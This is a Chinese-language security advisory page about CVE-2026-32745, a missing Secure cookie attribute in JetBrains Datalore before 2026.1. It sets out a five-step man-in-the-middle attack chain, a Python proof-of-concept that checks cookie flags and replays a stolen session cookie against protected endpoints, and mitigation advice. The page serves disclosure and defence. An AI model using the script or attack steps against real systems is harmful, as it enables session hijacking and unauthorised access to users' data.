IPBUF安全漏洞报告
English
CVE-2026-32745 CVSS 6.3 中危

CVE-2026-32745: JetBrains Datalore 会话劫持漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32745
漏洞类型
会话劫持
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
JetBrains Datalore

相关标签

会话劫持Cookie安全JetBrains Datalore中间人攻击Secure属性缺失2026.1之前版本

漏洞概述

CVE-2026-32745是JetBrains Datalore企业版中发现的一个中危安全漏洞。该漏洞存在于2026.1版本之前,由于应用程序在设置会话cookie时缺少Secure属性,导致攻击者有可能在特定网络环境下实施会话劫持攻击。攻击者通过拦截或窃取未正确保护的会话cookie,可以冒充合法用户身份访问系统,执行未授权操作或获取敏感数据。此漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为邻接网络,需要用户交互但无需认证。机密性影响为高,完整性影响为低,可用性无影响。建议受影响的用户尽快升级到2026.1或更高版本以修复此安全问题。

技术细节

JetBrains Datalore在处理用户会话时,使用HTTP Cookie来维护用户身份验证状态。然而,在2026.1之前的版本中,应用程序在设置会话cookie时未包含Secure属性。Secure属性是Cookie安全机制的重要组成部分,它指示浏览器仅通过加密的HTTPS连接发送cookie。当cookie缺少此属性时,即使网站配置了HTTPS,浏览器仍会在HTTP连接上传输cookie。攻击者可以利用这一缺陷,在同一网络环境(如WiFi热点、企业网络等)中实施中间人攻击,拦截未加密的HTTP流量并窃取会话cookie。获取cookie后,攻击者可以构造恶意请求,冒充合法用户与服务器建立会话,从而绕过身份验证机制访问受保护资源。该漏洞的攻击复杂度较低,但需要目标用户进行某种形式的网络交互,因此CVSS评分中用户交互标记为需要。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者位于目标用户所在的网络环境中(如公共WiFi、企业内网等),使用网络嗅探工具识别Datalore服务器流量
STEP 2
步骤2: 中间人攻击
攻击者实施ARP欺骗或DNS劫持等中间人攻击,拦截目标用户与Datalore服务器之间的HTTP通信
STEP 3
步骤3: Cookie窃取
由于会话cookie缺少Secure属性,浏览器在HTTP请求中传输cookie,攻击者捕获包含会话标识符的HTTP流量
STEP 4
步骤4: 会话劫持
攻击者提取有效的会话cookie值,使用窃取的cookie构造恶意请求冒充合法用户
STEP 5
步骤5: 未授权访问
攻击者利用劫持的会话向服务器发送请求,绕过身份验证访问受保护资源、查看敏感数据或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32745 PoC - JetBrains Datalore Session Hijacking # This PoC demonstrates the session hijacking vulnerability due to missing Secure cookie attribute import requests import argparse from http.cookiejar import CookieJar import urllib.parse def check_cookie_security(url): """ Check if the Datalore application sets cookies without Secure attribute """ session = requests.Session() response = session.get(url) print(f"[*] Checking cookie settings for: {url}") print(f"[*] Response status: {response.status_code}") # Check for JSESSIONID or other session cookies session_cookies = ['JSESSIONID', 'SESSION', 'SESSIONID', 'PHPSESSID'] vulnerable_cookies = [] for cookie in session.cookies: print(f"\n[+] Cookie Name: {cookie.name}") print(f"[+] Cookie Value: {cookie.value[:20]}...") print(f"[+] Cookie Domain: {cookie.domain}") print(f"[+] Cookie Secure Flag: {cookie.has_nonstandard_attr('Secure') or cookie.secure}") # Check if it's a session cookie without Secure flag if any(session_name.lower() in cookie.name.lower() for session_name in session_cookies): if not cookie.secure: vulnerable_cookies.append(cookie.name) print(f"[!] VULNERABLE: {cookie.name} is missing Secure attribute!") return vulnerable_cookies def simulate_session_hijacking(target_url, cookie_name, cookie_value): """ Simulate session hijacking by using stolen cookie """ print(f"\n[*] Simulating session hijacking...") # Create a new session with the stolen cookie hijacked_session = requests.Session() hijacked_session.cookies.set(cookie_name, cookie_value, domain='target_domain') # Try to access protected resources protected_endpoints = [ '/api/user/profile', '/api/workspaces', '/api/computations', '/dashboard' ] for endpoint in protected_endpoints: try: response = hijacked_session.get(target_url + endpoint) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f"[+] Response length: {len(response.content)} bytes") elif response.status_code == 401: print(f"[-] Unauthorized: {endpoint}") else: print(f"[*] Status {response.status_code} for: {endpoint}") except Exception as e: print(f"[!] Error accessing {endpoint}: {str(e)}") def main(): parser = argparse.ArgumentParser(description='CVE-2026-32745 PoC') parser.add_argument('-u', '--url', required=True, help='Target Datalore URL') parser.add_argument('-c', '--cookie', help='Stolen cookie name=value') args = parser.parse_args() # Check for vulnerable cookies vulnerable = check_cookie_security(args.url) if vulnerable: print(f"\n[!] Found {len(vulnerable)} vulnerable session cookie(s)") print("[!] This indicates the application may be vulnerable to session hijacking") print("[!] Attackers on the same network could intercept these cookies via HTTP") else: print("\n[+] No vulnerable cookies detected (or all cookies have Secure flag)") # If cookie provided, simulate hijacking if args.cookie: parts = args.cookie.split('=') if len(parts) == 2: simulate_session_hijacking(args.url, parts[0], parts[1]) if __name__ == '__main__': main()

影响范围

JetBrains Datalore < 2026.1

防御指南

临时缓解措施
在无法立即升级的情况下,可通过配置反向代理服务器(如Nginx)强制所有流量使用HTTPS,并在代理层设置Secure、HttpOnly和SameSite Cookie属性。同时建议实施会话超时机制,定期更换会话ID,并在发现可疑会话活动时强制用户重新登录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表